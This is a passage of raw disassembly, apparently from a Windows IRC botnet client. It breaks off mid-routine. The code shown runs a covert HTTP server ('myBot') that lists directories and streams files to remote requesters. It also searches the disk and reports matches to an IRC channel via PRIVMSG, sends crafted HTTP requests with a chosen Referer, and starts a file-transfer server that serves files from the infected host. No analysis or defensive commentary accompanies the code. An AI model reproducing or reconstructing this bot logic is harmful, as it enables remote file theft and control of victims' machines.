bp-based frame sub_405ECC proc near ; DATA XREF: sub_406048+245o var_1654 = byte ptr -1654h var_654 = byte ptr -654h var_550 = byte ptr -550h var_44C = dword ptr -44Ch var_3C8 = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1654h call sub_415B90 mov eax, [ebp+arg_0] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+var_3C8] push eax lea eax, [ebp+var_550] push eax call sub_415316 lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_654] push eax call sub_415316 xor edi, edi add esp, 10h cmp [ebp+var_A4], edi lea eax, [ebp+var_9C] jz short loc_405F37 push offset aTextHtml ; "text/html" jmp short loc_405F3C ; --------------------------------------------------------------------------- loc_405F37: ; CODE XREF: sub_405ECC+62j push offset aApplicationOct ; "application/octet-stream" loc_405F3C: ; CODE XREF: sub_405ECC+69j push eax call sub_415316 pop ecx lea eax, [ebp+var_68] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi call dword_421084 ; GetDateFormatA lea eax, [ebp+var_20] push 1Eh push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi call dword_421080 ; GetTimeFormatA lea eax, [ebp+var_20] cmp [ebp+var_B8], 0FFFFFFFFh push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_9C] jnz short loc_405FAF push eax lea eax, [ebp+var_1654] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_415316 add esp, 24h jmp short loc_405FCA ; --------------------------------------------------------------------------- loc_405FAF: ; CODE XREF: sub_405ECC+CAj push [ebp+var_B8] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_415316 add esp, 28h loc_405FCA: ; CODE XREF: sub_405ECC+E1j lea eax, [ebp+var_1654] push edi push eax call sub_415B10 pop ecx push eax lea eax, [ebp+var_1654] push eax push [ebp+var_44C] call dword_43C5A4 ; send cmp [ebp+var_A4], edi jnz short loc_40600A lea eax, [ebp+var_550] push eax push [ebp+var_44C] call sub_406978 pop ecx pop ecx jmp short loc_406027 ; --------------------------------------------------------------------------- loc_40600A: ; CODE XREF: sub_405ECC+126j lea eax, [ebp+var_654] push eax push edi push [ebp+var_44C] lea eax, [ebp+var_550] push eax call sub_4062F7 add esp, 10h loc_406027: ; CODE XREF: sub_405ECC+13Cj push [ebp+var_44C] call dword_43C5EC ; closesocket push [ebp+var_B4] call sub_4150F0 pop ecx push edi call dword_421048 ; ExitThread pop edi pop esi sub_405ECC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406048 proc near ; CODE XREF: sub_405A96+399p var_8C4 = byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = byte ptr -314h var_211 = byte ptr -211h var_210 = byte ptr -210h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h lea eax, [ebp+var_210] push edi push eax mov [ebp+var_4], edi call sub_415390 mov eax, [ebp+arg_8] add esp, 0Ch cmp byte ptr [eax], 2Fh push eax jz short loc_40607E push offset aS_2 ; "\\%s" jmp short loc_406086 ; --------------------------------------------------------------------------- loc_40607E: ; CODE XREF: sub_406048+2Dj mov byte ptr [eax], 5Ch push offset aS_1 ; "%s" loc_406086: ; CODE XREF: sub_406048+34j lea eax, [ebp+var_10C] push eax call sub_415316 add esp, 0Ch lea eax, [ebp+var_10C] xor esi, esi xor ebx, ebx push eax call sub_415B10 test eax, eax pop ecx jbe short loc_406121 mov [ebp+arg_8], 2 loc_4060B1: ; CODE XREF: sub_406048+D7j lea eax, [ebp+var_10C] push eax call sub_415B10 cmp [ebp+arg_8], eax pop ecx jnb short loc_4060F1 cmp [ebp+esi+var_10C], 25h jnz short loc_4060F1 cmp [ebp+esi+var_10B], 32h jnz short loc_4060F1 cmp [ebp+esi+var_10A], 30h jnz short loc_4060F1 inc esi mov [ebp+ebx+var_210], 20h inc esi add [ebp+arg_8], 2 jmp short loc_40610B ; --------------------------------------------------------------------------- loc_4060F1: ; CODE XREF: sub_406048+79j ; sub_406048+83j ... mov al, [ebp+esi+var_10C] cmp al, 2Fh jnz short loc_406101 push 5Ch pop eax jmp short loc_406104 ; --------------------------------------------------------------------------- loc_406101: ; CODE XREF: sub_406048+B2j movsx eax, al loc_406104: ; CODE XREF: sub_406048+B7j mov [ebp+ebx+var_210], al loc_40610B: ; CODE XREF: sub_406048+A7j lea eax, [ebp+var_10C] inc esi inc [ebp+arg_8] push eax inc ebx call sub_415B10 cmp esi, eax pop ecx jb short loc_4060B1 loc_406121: ; CODE XREF: sub_406048+60j lea eax, [ebp+var_210] push eax lea eax, [ebp+var_314] push [ebp+arg_4] push offset aSS_2 ; "%s%s" push eax call sub_415316 lea eax, [ebp+var_314] push offset asc_426CF0 ; "\n" push eax call sub_416B3F add esp, 18h lea eax, [ebp+var_314] push eax call dword_421094 ; GetFileAttributesA xor esi, esi inc esi cmp eax, 10h jz short loc_40616F cmp eax, 0FFFFFFFFh jnz short loc_406172 push [ebp+arg_0] jmp short loc_4061EE ; --------------------------------------------------------------------------- loc_40616F: ; CODE XREF: sub_406048+11Bj mov [ebp+var_4], esi loc_406172: ; CODE XREF: sub_406048+120j cmp [ebp+ebx+var_211], 5Ch jnz short loc_40617F mov [ebp+var_4], esi loc_40617F: ; CODE XREF: sub_406048+132j mov ebx, [ebp+arg_0] cmp [ebp+var_4], edi mov [ebp+var_6C4], ebx mov [ebp+var_318], edi jz short loc_4061F9 cmp [ebp+arg_C], edi jz short loc_4061ED lea eax, [ebp+var_314] push offset asc_426CEC ; "*" push eax call sub_415A30 lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_415316 lea eax, [ebp+var_210] push eax call sub_406A35 lea eax, [ebp+var_210] push eax lea eax, [ebp+var_53C] push eax call sub_415316 add esp, 1Ch or [ebp+var_330], 0FFFFFFFFh mov [ebp+var_31C], esi jmp short loc_406248 ; --------------------------------------------------------------------------- loc_4061ED: ; CODE XREF: sub_406048+14Ej push ebx loc_4061EE: ; CODE XREF: sub_406048+125j call dword_43C5EC ; closesocket jmp loc_4062DE ; --------------------------------------------------------------------------- loc_4061F9: ; CODE XREF: sub_406048+149j push edi push edi push 3 push edi push esi lea eax, [ebp+var_314] push 80000000h push eax call dword_421078 ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_406248 lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_415316 pop ecx mov [ebp+var_31C], edi pop ecx push edi push esi call dword_421090 ; GetFileSize push esi mov [ebp+var_330], eax call dword_42106C ; CloseHandle loc_406248: ; CODE XREF: sub_406048+1A3j ; sub_406048+1CEj mov esi, [ebp+arg_10] lea eax, [ebp+var_8C4] push esi push offset unk_426CA8 push eax call sub_415316 push edi lea eax, [ebp+var_8C4] push 3 push eax call sub_414DDA mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov dword_4416CC[eax], esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6C4] push edi push eax push offset sub_405ECC push edi push edi call dword_42108C ; CreateThread mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov dword_4416DC[ecx], eax jnz short loc_4062ED push ebx call dword_43C5EC ; closesocket call dword_421088 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_8C4] push offset unk_426C58 push eax call sub_415316 lea eax, [ebp+var_8C4] push eax call sub_40B078 add esp, 10h loc_4062DE: ; CODE XREF: sub_406048+1ACj ; sub_406048+2ADj pop edi pop esi xor eax, eax pop ebx leave retn ; --------------------------------------------------------------------------- loc_4062E5: ; CODE XREF: sub_406048+2ABj push 5 call dword_421060 ; Sleep loc_4062ED: ; CODE XREF: sub_406048+266j cmp [ebp+var_318], edi jz short loc_4062E5 jmp short loc_4062DE sub_406048 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4062F7 proc near ; CODE XREF: sub_405ECC+153p ; sub_40CD3A+4602p var_594 = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h var_35C = byte ptr -35Ch var_248 = byte ptr -248h var_48 = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h lea eax, [ebp+var_594] push ebx push eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_415390 mov edi, [ebp+arg_0] push offset asc_426CF0 ; "\n" push edi call sub_416B3F add esp, 14h cmp [ebp+arg_8], ebx push edi jz short loc_406356 push [ebp+arg_8] mov esi, 200h lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi push eax call sub_41588A add esp, 14h jmp loc_406452 ; --------------------------------------------------------------------------- loc_406356: ; CODE XREF: sub_4062F7+3Bj cmp [ebp+arg_C], ebx jz loc_406438 call sub_415B10 mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi push eax call sub_41588A add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_415B10 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43C5A4 ; send push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi push eax call sub_41588A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_415B10 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43C5A4 ; send push edi call sub_415B10 push 3Ch push 96h mov byte ptr [eax+edi], 2Ah push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi push eax call sub_41588A add esp, 1Ch lea eax, [ebp+var_248] push ebx push eax call sub_415B10 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43C5A4 ; send push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi push eax call sub_41588A add esp, 0Ch jmp short loc_406452 ; --------------------------------------------------------------------------- loc_406438: ; CODE XREF: sub_4062F7+62j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41588A add esp, 10h loc_406452: ; CODE XREF: sub_4062F7+5Aj ; sub_4062F7+13Fj lea eax, [ebp+var_248] push ebx push eax call sub_415B10 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43C5A4 ; send cmp [ebp+arg_C], ebx jz short loc_4064EA push [ebp+arg_C] call sub_415B10 cmp eax, 2 pop ecx jbe short loc_4064EA push [ebp+arg_C] call sub_415B10 sub eax, 3 pop ecx jz short loc_40649E loc_406492: ; CODE XREF: sub_4062F7+1A5j mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_40649E dec eax jnz short loc_406492 loc_40649E: ; CODE XREF: sub_4062F7+199j ; sub_4062F7+1A2j inc eax push eax lea eax, [ebp+var_594] push [ebp+arg_C] push eax call sub_416BE0 lea eax, [ebp+var_594] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi push eax call sub_41588A add esp, 1Ch lea eax, [ebp+var_248] push ebx push eax call sub_415B10 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43C5A4 ; send loc_4064EA: ; CODE XREF: sub_4062F7+17Dj ; sub_4062F7+18Bj lea eax, [ebp+var_388] push eax push edi call dword_4210A8 ; FindFirstFileA lea ecx, [ebp+var_388] mov [ebp+arg_0], eax push ecx push eax call dword_4210A4 ; FindNextFileA test eax, eax jz loc_4068E1 mov edi, 1FFh loc_406516: ; CODE XREF: sub_4062F7+5E4j cmp [ebp+var_388], ebx jz loc_4068C9 lea eax, [ebp+var_35C] push offset a__ ; ".." push eax call sub_415730 pop ecx test eax, eax pop ecx jz loc_4068C9 lea eax, [ebp+var_35C] push offset a__1 ; "." push eax call sub_415730 pop ecx test eax, eax pop ecx jz loc_4068C9 lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax call dword_4210A0 ; FileTimeToLocalFileTime lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax call dword_42109C ; FileTimeToSystemTime mov ax, [ebp+var_10] mov ecx, offset aPm ; "PM" cmp ax, 0Ch ja loc_406613 mov ecx, offset aAm ; "AM" movzx eax, ax loc_406592: ; CODE XREF: sub_4062F7+322j push ecx movzx ecx, [ebp+var_E] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+var_48] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_415316 add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_40674A inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_40661E lea eax, [ebp+var_35C] push eax push offset aS_0 ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41588A lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" push esi push eax call sub_41588A add esp, 28h jmp loc_40689A ; --------------------------------------------------------------------------- loc_406613: ; CODE XREF: sub_4062F7+28Dj movzx eax, ax sub eax, 0Ch jmp loc_406592 ; --------------------------------------------------------------------------- loc_40661E: ; CODE XREF: sub_4062F7+2D5j cmp [ebp+arg_C], ebx jz loc_406708 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41588A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_415B10 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43C5A4 ; send lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_0 ; "%s%s/" push edi push eax call sub_41588A add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_415B10 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43C5A4 ; send lea eax, [ebp+var_35C] push eax call sub_415B10 cmp eax, 1Eh pop ecx lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] jbe short loc_4066C4 push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_4066C9 ; --------------------------------------------------------------------------- loc_4066C4: ; CODE XREF: sub_4062F7+3C4j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_4066C9: ; CODE XREF: sub_4062F7+3CBj push edi push eax call sub_41588A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_415B10 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43C5A4 ; send lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_40688B ; --------------------------------------------------------------------------- loc_406708: ; CODE XREF: sub_4062F7+32Aj lea eax, [ebp+var_35C] push eax push offset aS_0 ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41588A lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; "%-31s %-21s\r\n" loc_406735: ; CODE XREF: sub_4062F7+47Bj lea eax, [ebp+var_248] push esi push eax call sub_41588A add esp, 24h jmp loc_40689A ; --------------------------------------------------------------------------- loc_40674A: ; CODE XREF: sub_4062F7+2C9j inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_406774 push ebx push [ebp+var_368] call sub_40C10D push eax lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" jmp short loc_406735 ; --------------------------------------------------------------------------- loc_406774: ; CODE XREF: sub_4062F7+459j cmp [ebp+arg_C], ebx jz loc_406874 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41588A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_415B10 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43C5A4 ; send lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_2 ; "%s%s" push edi push eax call sub_41588A add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_415B10 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43C5A4 ; send lea eax, [ebp+var_35C] push eax call sub_415B10 cmp eax, 1Fh pop ecx lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] jbe short loc_40681A push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_40681F ; --------------------------------------------------------------------------- loc_40681A: ; CODE XREF: sub_4062F7+51Aj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_40681F: ; CODE XREF: sub_4062F7+521j push edi push eax call sub_41588A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_415B10 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43C5A4 ; send mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... lea eax, [ebp+var_248] push edi push eax call sub_41588A add esp, 1Ch jmp short loc_40689A ; --------------------------------------------------------------------------- loc_406874: ; CODE XREF: sub_4062F7+480j push [ebp+var_368] lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" push esi loc_40688B: ; CODE XREF: sub_4062F7+40Cj lea eax, [ebp+var_248] push eax call sub_41588A add esp, 18h loc_40689A: ; CODE XREF: sub_4062F7+317j ; sub_4062F7+44Ej ... lea eax, [ebp+var_248] push ebx push eax call sub_415B10 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43C5A4 ; send cmp [ebp+arg_8], ebx jz short loc_4068C9 push 7D0h call dword_421060 ; Sleep loc_4068C9: ; CODE XREF: sub_4062F7+225j ; sub_4062F7+240j ... lea eax, [ebp+var_388] push eax push [ebp+arg_0] call dword_4210A4 ; FindNextFileA test eax, eax jnz loc_406516 loc_4068E1: ; CODE XREF: sub_4062F7+214j push [ebp+arg_0] call dword_421098 ; FindClose cmp [ebp+arg_8], ebx jz short loc_406924 mov eax, [ebp+var_8] cdq push edx push eax call sub_40C10D pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_40C10D pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_415316 add esp, 14h jmp short loc_406952 ; --------------------------------------------------------------------------- loc_406924: ; CODE XREF: sub_4062F7+5F6j cmp [ebp+arg_C], ebx lea eax, [ebp+var_248] jz short loc_40693E push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_415316 pop ecx pop ecx jmp short loc_406952 ; --------------------------------------------------------------------------- loc_40693E: ; CODE XREF: sub_4062F7+636j push [ebp+var_8] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_415316 add esp, 10h loc_406952: ; CODE XREF: sub_4062F7+62Bj ; sub_4062F7+645j lea eax, [ebp+var_248] push ebx push eax call sub_415B10 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43C5A4 ; send pop edi pop esi xor eax, eax pop ebx leave retn sub_4062F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406978 proc near ; CODE XREF: sub_405ECC+135p var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi call dword_421078 ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_406A30 push esi push ebx call dword_421090 ; GetFileSize cmp eax, esi mov [ebp+arg_4], eax jz short loc_406A29 loc_4069BD: ; CODE XREF: sub_406978+AFj push 400h lea eax, [ebp+var_404] push esi push eax call sub_415390 add esp, 0Ch cmp edi, [ebp+arg_4] jbe short loc_4069DA mov edi, [ebp+arg_4] loc_4069DA: ; CODE XREF: sub_406978+5Dj mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx call dword_4210AC ; SetFilePointer lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_404] push edi push eax push ebx call dword_421068 ; ReadFile push esi lea eax, [ebp+var_404] push edi push eax push [ebp+arg_0] call dword_43C5A4 ; send cmp eax, 0FFFFFFFFh jnz short loc_406A24 call dword_43C4E8 ; WSAGetLastError cmp eax, 2733h jnz short loc_406A29 xor eax, eax loc_406A24: ; CODE XREF: sub_406978+9Bj sub [ebp+arg_4], eax jnz short loc_4069BD loc_406A29: ; CODE XREF: sub_406978+43j ; sub_406978+A8j push ebx call dword_42106C ; CloseHandle loc_406A30: ; CODE XREF: sub_406978+30j pop edi pop esi pop ebx leave retn sub_406978 endp ; =============== S U B R O U T I N E ======================================= sub_406A35 proc near ; CODE XREF: sub_406048+17Bp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_415B10 test eax, eax pop ecx jbe short loc_406A5E loc_406A48: ; CODE XREF: sub_406A35+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_406A52 mov byte ptr [esi+edi], 2Fh loc_406A52: ; CODE XREF: sub_406A35+17j push edi inc esi call sub_415B10 cmp esi, eax pop ecx jb short loc_406A48 loc_406A5E: ; CODE XREF: sub_406A35+11j mov eax, edi pop edi pop esi retn sub_406A35 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406A63 proc near ; CODE XREF: sub_40CD3A+2A1Ap var_4A0 = byte ptr -4A0h var_310 = byte ptr -310h var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call dword_43C4CC ; WSAStartup push 6 push 1 push 2 call dword_43C5D4 ; socket mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_415390 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_14] call dword_43C554 ; ntohs push [ebp+arg_10] mov [ebp+var_E], ax call sub_409F7A pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push ebx call dword_43C4FC ; connect cmp eax, 0FFFFFFFFh jz short loc_406B40 mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_406ADC mov eax, offset byte_43B188 loc_406ADC: ; CODE XREF: sub_406A63+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+var_110] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi push eax call sub_41588A add esp, 1Ch lea eax, [ebp+var_110] push edi push eax call sub_415B10 pop ecx push eax lea eax, [ebp+var_110] push eax push ebx call dword_43C5A4 ; send push esi lea eax, [ebp+var_110] push edi push eax call sub_4153F0 add esp, 0Ch lea eax, [ebp+var_110] push edi push esi push eax push ebx call dword_43C56C ; recv pop esi loc_406B40: ; CODE XREF: sub_406A63+6Bj push ebx call dword_43C5EC ; closesocket call dword_43C4B4 ; WSACleanup lea eax, [ebp+var_110] push eax lea eax, [ebp+var_310] push eax call sub_415316 cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_406B80 push edi lea eax, [ebp+var_310] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412BD1 add esp, 14h loc_406B80: ; CODE XREF: sub_406A63+102j pop edi pop ebx leave retn sub_406A63 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406B84 proc near ; CODE XREF: sub_406B84:loc_407069p ; DATA XREF: sub_4071B6+104o ... var_884 = dword ptr -884h var_880 = dword ptr -880h var_780 = byte ptr -780h var_580 = byte ptr -580h var_57F = byte ptr -57Fh var_57E = byte ptr -57Eh var_57D = byte ptr -57Dh var_57C = byte ptr -57Ch var_37C = dword ptr -37Ch var_378 = byte ptr -378h var_274 = byte ptr -274h var_170 = dword ptr -170h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = byte ptr -164h var_E4 = dword ptr -0E4h var_E0 = dword ptr -0E0h var_D8 = byte ptr -0D8h var_D7 = byte ptr -0D7h var_D6 = byte ptr -0D6h var_D5 = byte ptr -0D5h var_58 = byte ptr -58h var_44 = word ptr -44h var_42 = word ptr -42h var_40 = dword ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 884h push ebx push esi push edi mov edx, [ebp+arg_0] mov esi, offset aOctet ; "octet" lea edi, [ebp+var_1C] movsd movsw xor ebx, ebx xor eax, eax mov ecx, 0A9h mov esi, edx lea edi, [ebp+var_37C] push ebx inc eax push 2 rep movsd inc [ebp+var_16C] push 2 mov [ebp+var_C], eax mov [edx+2A0h], eax call dword_43C5D4 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_10], edi jnz short loc_406C47 push 190h call dword_421060 ; Sleep call dword_43C4E8 ; WSAGetLastError push eax lea eax, [ebp+var_780] push offset unk_427310 push eax call sub_415316 add esp, 0Ch cmp [ebp+var_E0], ebx jnz short loc_406C27 push ebx lea eax, [ebp+var_780] push [ebp+var_E4] push eax lea eax, [ebp+var_164] push eax push [ebp+var_37C] call sub_412BD1 add esp, 14h loc_406C27: ; CODE XREF: sub_406B84+7Ej lea eax, [ebp+var_780] push eax call sub_40B078 push [ebp+var_170] call sub_4150F0 pop ecx pop ecx push ebx call dword_421048 ; ExitThread loc_406C47: ; CODE XREF: sub_406B84+50j mov eax, [ebp+var_170] push 10h imul eax, 234h push ebx mov dword_4416D4[eax], edi lea eax, [ebp+var_44] push eax call sub_415390 add esp, 0Ch mov [ebp+var_44], 2 push [ebp+var_168] call dword_43C554 ; ntohs mov [ebp+var_42], ax lea eax, [ebp+var_44] push 10h push eax push edi mov [ebp+var_40], ebx call dword_43C580 ; bind cmp eax, 0FFFFFFFFh jnz short loc_406CAC push 1388h call dword_421060 ; Sleep dec [ebp+var_16C] push [ebp+arg_0] jmp loc_407069 ; --------------------------------------------------------------------------- loc_406CAC: ; CODE XREF: sub_406B84+10Dj lea eax, [ebp+var_378] push offset aRb ; "rb" push eax call sub_415A08 pop ecx cmp eax, ebx pop ecx mov [ebp+var_8], eax jnz short loc_406D2A push 190h call dword_421060 ; Sleep lea eax, [ebp+var_378] push eax lea eax, [ebp+var_780] push offset unk_4272C0 push eax call sub_415316 push ebx lea eax, [ebp+var_780] push [ebp+var_E4] push eax lea eax, [ebp+var_164] push eax push [ebp+var_37C] call sub_412BD1 lea eax, [ebp+var_780] push eax call sub_40B078 push [ebp+var_170] call sub_4150F0 add esp, 28h push ebx call dword_421048 ; ExitThread loc_406D2A: ; CODE XREF: sub_406B84+140j mov esi, 200h loc_406D2F: ; CODE 